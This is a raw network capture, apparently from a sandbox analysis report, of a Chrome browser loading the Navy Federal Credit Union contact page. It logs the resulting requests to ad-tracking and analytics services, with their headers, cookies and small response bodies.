{"aggregatable_deduplication_keys":[{"deduplication_key":"12576894184104522377"}],"aggregatable_trigger_data":[{"filters":[{"14":["9121340"]}],"key_piece":"0xa62b680724e39ef","source_keys":["12","13","14","15","16","17","18","19","20","21","628513680","628513681","628513682","628513683","628706180","628706181","628706182","628706183","628728388","628728389","628728390","628728391","628774052","628774053","628774054","628774055","628790608","628790609","628790610","628790611","628853860","628853861","628853862","628853863"]},{"key_piece":"0x362cbba4a316cb9c","not_filters":{"14":["9121340"]},"source_keys":["12","13","14","15","16","17","18","19","20","21","628513680","628513681","628513682","628513683","628706180","628706181","628706182","628706183","628728388","628728389","628728390","628728391","628774052","628774053","628774054","628774055","628790608","628790609","628790610","628790611","628853860","628853861","628853862","628853863"]}],"aggregatable_values":{"12":65, [TRUNCATED] Content-Type: image/png Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: ar_debug=1; expires=Sun, 23-Jun-2024 22:46:41 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
461	192.168.2.6	50476	216.58.206.70	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:40 UTC	1228	OUT	GET /activity;register_conversion=1;src=9749892;type=gener0;cat=nfcu_000;ord=7786574454292;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=552065252;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html? HTTP/1.1 Host: ad.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Attribution-Reporting-Eligible: trigger, event-source Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
2024-05-24 22:46:41 UTC	4595	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:41 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Attribution-Reporting-Register-Trigger: {"aggregatable_deduplication_keys":[{"deduplication_key":"16019397974869917718"}],"aggregatable_trigger_data":[{"filters":[{"14":["13886426"]}],"key_piece":"0x3207ccec6325b791","source_keys":["12","13","14","15","16","17","18","19","20","21","628513680","628513681","628513682","628513683","628706180","628706181","628706182","628706183","628728388","628728389","628728390","628728391","628774052","628774053","628774054","628774055","628790608","628790609","628790610","628790611","628853860","628853861","628853862","628853863"]},{"key_piece":"0xefcb4e53dca91529","not_filters":{"14":["13886426"]},"source_keys":["12","13","14","15","16","17","18","19","20","21","628513680","628513681","628513682","628513683","628706180","628706181","628706182","628706183","628728388","628728389","628728390","628728391","628774052","628774053","628774054","628774055","628790608","628790609","628790610","628790611","628853860","628853861","628853862","628853863"]}],"aggregatable_values":{"12": [TRUNCATED] Content-Type: image/png Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: ar_debug=1; expires=Sun, 23-Jun-2024 22:46:41 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
462	192.168.2.6	50473	146.75.120.157	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:40 UTC	632	OUT	GET /uwt.js HTTP/1.1 Host: static.ads-twitter.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: "bbbcf811d8437a575d796a4c1e5d4fad" If-Modified-Since: Thu, 04 Apr 2024 00:26:35 GMT
2024-05-24 22:46:41 UTC	339	IN	HTTP/1.1 304 Not Modified Connection: close Date: Fri, 24 May 2024 22:46:41 GMT Cache-Control: no-cache ETag: "bbbcf811d8437a575d796a4c1e5d4fad" X-Served-By: cache-fra-etou8220052-FRA X-Cache: HIT Vary: Accept-Encoding,Host P3P: CP="CAO DSP LAW CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa OUR BUS IND UNI COM NAV INT" x-tw-cdn: FT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
463	192.168.2.6	50470	216.58.212.130	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:40 UTC	1275	OUT	GET /td/fls/rul/activityi;fledge=1;src=9749892;type=gener0;cat=nfcu_000;ord=7786574454292;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=552065252;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html? HTTP/1.1 Host: td.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
2024-05-24 22:46:41 UTC	646	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:41 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-05-24 22:46:41 UTC	18	IN	Data Raw: 64 0d 0a 3c 68 74 6d 6c 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: d<html></html>
2024-05-24 22:46:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
464	192.168.2.6	50469	142.250.185.166	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:40 UTC	1404	OUT	GET /activityi;src=9749892;type=gener0;cat=nfcu_000;ord=7786574454292;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=552065252;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html? HTTP/1.1 Host: 9749892.fls.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg; _dpm_ses.4d04=*; _dpm_id.4d04=62ee9019-96e3-4db4-9307-4201e701ba8f.1716590761.1.1716590761.1716590761.30350b8a-ca27-426c-b033-4c9e26c0870b
2024-05-24 22:46:41 UTC	1158	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:41 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Follow-Only-When-Prerender-Shown: 1 Strict-Transport-Security: max-age=21600 Location: https://9749892.fls.doubleclick.net/activityi;dc_pre=CKCDt4evp4YDFSohBgAdDGcAEg;src=9749892;type=gener0;cat=nfcu_000;ord=7786574454292;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=552065252;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html? Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
465	192.168.2.6	50477	216.58.206.70	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:40 UTC	923	OUT	GET /ddm/activity/src=9749892;type=gener0;cat=nfcu_000;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;npa=;gdpr=$%7BGDPR%7D;gdpr_consent=$%7BGDPR_CONSENT_755%7D;ord=1? HTTP/1.1 Host: ad.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
2024-05-24 22:46:41 UTC	878	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:41 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Follow-Only-When-Prerender-Shown: 1 Location: https://ad.doubleclick.net/ddm/activity/src=9749892;dc_pre=CJvvuIevp4YDFQjyOwIdofgLng;type=gener0;cat=nfcu_000;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;npa=;gdpr=$%7BGDPR%7D;gdpr_consent=$%7BGDPR_CONSENT_755%7D;ord=1? Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
466	192.168.2.6	50474	18.172.103.101	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:41 UTC	1190	OUT	GET /up_loader.1.1.0.js HTTP/1.1 Host: js.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUSFgoHYWRkdGhpcxILCOrul9Crk_48EAUSGAoJYWRhZHZpc29yEgsIzJOY0KuT_jwQBRIVCgZjYXNhbGUSCwjauJjQq5P-PBAFEhYKB3N2eDl0NTASCwjq4bW1rJP-PBAFEhkKCmxpdmVpbnRlbnQSCwj4kra1rJP-PBAFEhYKB3VlZDNrdnISCwimxba1rJP-PBAFGAUoAzILCJ6juOLCk_48EAU4AUIEIgIIAVoHcGNsOGJpeWAB If-None-Match: "a60a4e2650f94da6f243b9518761b381" If-Modified-Since: Mon, 20 May 2024 07:02:23 GMT
2024-05-24 22:46:41 UTC	460	IN	HTTP/1.1 304 Not Modified Connection: close Last-Modified: Mon, 20 May 2024 07:02:23 GMT x-amz-server-side-encryption: AES256 Server: AmazonS3 Date: Fri, 24 May 2024 07:08:39 GMT ETag: "a60a4e2650f94da6f243b9518761b381" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 7b2737d1601ba8c676e6f68b6aa113d8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P8 X-Amz-Cf-Id: 1Zfj5S4_iQ7miDMvbe8yxZ1BUBDXcWX6ZMaVnzJjD0hylQgsAyg32Q== Age: 71432

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
467	192.168.2.6	50472	18.238.243.70	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:41 UTC	935	OUT	GET /sync?c=16b6410431b6374e780104abb0443ca8&p=ac2d76520490ec74c91b16b6cd806c4a&k=navy-federal-credit-union-pixel-4762&zmpID=navy-federal-credit-union&cache_buster={cache_buster} HTTP/1.1 Host: live.rezync.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zync-uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698; sd-session-id=eyJfcGVybWFuZW50Ijp0cnVlLCJzZXNzaW9uX2lkIjoiMzU3YzI4YzMtOWVmZC00ZTM1LThlMjAtMjg4ZmY4ZGE0YTFhOjE3MTY1OTA3NTguMzEzNjk4In0.ZlEYvw.ItZUGSHF70m25AC4fgQ1tH_qQos
2024-05-24 22:46:41 UTC	815	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 2884 Connection: close Date: Fri, 24 May 2024 22:46:41 GMT Set-Cookie: zync-uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698; Domain=rezync.com; Expires=Wed, 18 Jun 2025 22:46:41 GMT; Path=/; SameSite=None; Secure Set-Cookie: sd-session-id=eyJfcGVybWFuZW50Ijp0cnVlLCJzZXNzaW9uX2lkIjoiMzU3YzI4YzMtOWVmZC00ZTM1LThlMjAtMjg4ZmY4ZGE0YTFhOjE3MTY1OTA3NTguMzEzNjk4In0.ZlEY0Q.ix4w4zRD0qwskviOGPug87sXHTc; Expires=Wed, 18 Jun 2025 22:46:41 GMT; HttpOnly; Path=/; SameSite=None; Secure Vary: Cookie Accept-Ranges: bytes Server: lighttpd/1.4.69 X-Cache: Miss from cloudfront Via: 1.1 f5a3dd79e879ec195790fd94291f3198.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P1 X-Amz-Cf-Id: ivGPeYnqSEZWE8Qn7eUbEYFFsljZLCjP2aKLO4-wJkt0SfSCEqPxuw==
2024-05-24 22:46:41 UTC	2884	IN	Data Raw: 28 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 0a 0a 76 61 72 20 72 61 6e 67 65 4f 62 6a 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 52 61 6e 67 65 28 29 3b 20 76 61 72 20 64 6f 63 75 6d 65 6e 74 46 72 61 67 6d 65 6e 74 20 3d 20 72 61 6e 67 65 4f 62 6a 2e 63 72 65 61 74 65 43 6f 6e 74 65 78 74 75 61 6c 46 72 61 67 6d 65 6e 74 20 28 27 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 5c 6e 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 6c 69 5f 63 61 6c 6c 28 29 20 7b 5c 6e 20 20 20 20 20 20 20 20 76 61 72 20 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6d 67 22 29 3b 5c 6e 20 20 20 20 20 20 20 20 63 61 63 68 65 5f 62 75 73 74 65 72 20 Data Ascii: (async function () {var rangeObj = document.createRange(); var documentFragment = rangeObj.createContextualFragment ('<script async type="text/javascript">\n function li_call() {\n var l = document.createElement("img");\n cache_buster

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
468	192.168.2.6	50490	52.14.63.166	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:41 UTC	931	OUT	GET /tv2track.php?action_name=Contact%20Us%20%7C%20Navy%20Federal%20Credit%20Union&idsite=TV-8181450918-1&rec=1&r=702009&h=18&m=46&s=40&url=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&_id=42a926125f51d849&_idts=1716590758&_idvc=0&_idn=0&_viewts=&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&gt_ms=1190 HTTP/1.1 Host: collector-11598.tvsquared.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:42 UTC	229	IN	HTTP/1.1 200 OK Content-Type: image/gif Date: Fri, 24 May 2024 22:46:41 GMT P3p: CP='OTI DSP COR NID STP UNI OTPa OUR' Request-Id: 6f103427-dc92-4ee7-9e70-affb927e9b88 Server: nginx Content-Length: 42 Connection: Close
2024-05-24 22:46:42 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 28 00 3b Data Ascii: GIF89a!,(;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
469	192.168.2.6	50485	52.14.63.166	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:41 UTC	931	OUT	GET /tv2track.php?action_name=Contact%20Us%20%7C%20Navy%20Federal%20Credit%20Union&idsite=TV-8181450918-1&rec=1&r=818227&h=18&m=46&s=40&url=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&_id=42a926125f51d849&_idts=1716590758&_idvc=0&_idn=0&_viewts=&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&gt_ms=1190 HTTP/1.1 Host: collector-11598.tvsquared.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:42 UTC	229	IN	HTTP/1.1 200 OK Content-Type: image/gif Date: Fri, 24 May 2024 22:46:41 GMT P3p: CP='OTI DSP COR NID STP UNI OTPa OUR' Request-Id: 4c9ba61d-7495-4c16-815d-b2b5e3f5b823 Server: nginx Content-Length: 42 Connection: Close
2024-05-24 22:46:42 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 28 00 3b Data Ascii: GIF89a!,(;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
470	192.168.2.6	50480	63.140.39.22	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:41 UTC	4112	OUT	GET /b/ss/nfcuprod/1/JS-2.23.0-LDQM/s33369260808916?AQB=1&ndh=1&pf=1&t=24%2F4%2F2024%2018%3A46%3A39%205%20240&sdid=3395027B8DD0B4CB-61167B21D4B5DDDB&mid=19471654271041955080390332448085131267&aamlh=6&ce=UTF-8&pageName=nfo%3Acontact-us&g=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&c.&getVisitNum=4.2&.c&cc=USD&aamb=RKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y&v1=nfo&v2=nfo%3Acontact-us&c4=6%3A46PM&v4=6%3A46PM&c5=Friday&v5=Friday&c11=Build%20Date%3A%202024-05-23T17%3A41%3A33Z%20%7CJS%3A%202.23.0%20%7CECID%3A%205.5.0&c13=nfo%3Abranches-atms&c15=AEM&v15=AEM&v16=19471654271041955080390332448085131267&v30=nfo%3Acontact-us&c45=D%3Dv45&v45=2024-05-24%2018%3A46%3A36&c46=19471654271041955080390332448085131267%7C1&v46=19471654271041955080390332448085131267%7C1&c51=D%3Dg&c59=D%3Dv59&v59=Mozilla%2F5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome%2F117.0.0.0%20Safari%2F537.36&c60=highestPercentViewed%3D23%20%7C%20initialPercentViewed%3D23%20% [TRUNCATED] Host: analytics.navyfederal.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: at_check=true; _abck=21D1C4FBE0AED4A77782CD6A6455FF7F~0~YAAQVLMUArVCzI6PAQAApSXIrAtP/lgerEAD3d4syX3Lqa1oG7kKzOq6+AeiQbZ79CKhqHTbXIUZwKMpizhvYE46ly/SAaAXbsfKNi4V9Cplt1c1KnCrkjEi9201HRV9HymZEVif/VfI8o6RyJaHsZiN+deKnDjRYHEVV7Tg0ocuDOsqtlSnmNRecku4LI/T7cJ5Wo6LFAvnz3DjpH68xIMzMh+hsDozKB8KLeOWrIPEZUlhRGgrBZOf1T8RrJfaG9UEyADOwGoMC7hp9jdacCRU77FpfNZaTs1/P2H1Z+SAInkkBFIEG0dMqHv2NBzr105ZUfJfIZPeRNA4Hrf3XHFQpVuaAXQQ1yGxb1dW5OQhta11HuBlWXMPZleyYZAjH7Fx3Mpr2IDtpK9fAi+NndgzCSamP5UXhgXSH2M=~-1~\|\|-1\|\|~-1; AMCVS_9BD537045330573C0A490D44%40AdobeOrg=1; s_ecid=MCMID%7C19471654271041955080390332448085131267; ttc_c14=1716590753728; s_ips=907; s_vnc365=1748126753731%26vn%3D1; s_ivc=true; s_cc=true; _gcl_au=1.1.1380165631.1716590754; AMCV_9BD537045330573C0A490D44%40AdobeOrg=179643557%7CMCIDTS%7C19868%7CMCMID%7C19471654271041955080390332448085131267%7CMCAAMLH-1717195550%7C6%7CMCAAMB-1717195550%7CRKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y%7CMCOPTOUT-1716597950s%7CNONE%7CMCAID%7CNONE%7CMCSYNCSOP%7C411-19875%7CvVersion [TRUNCATED]
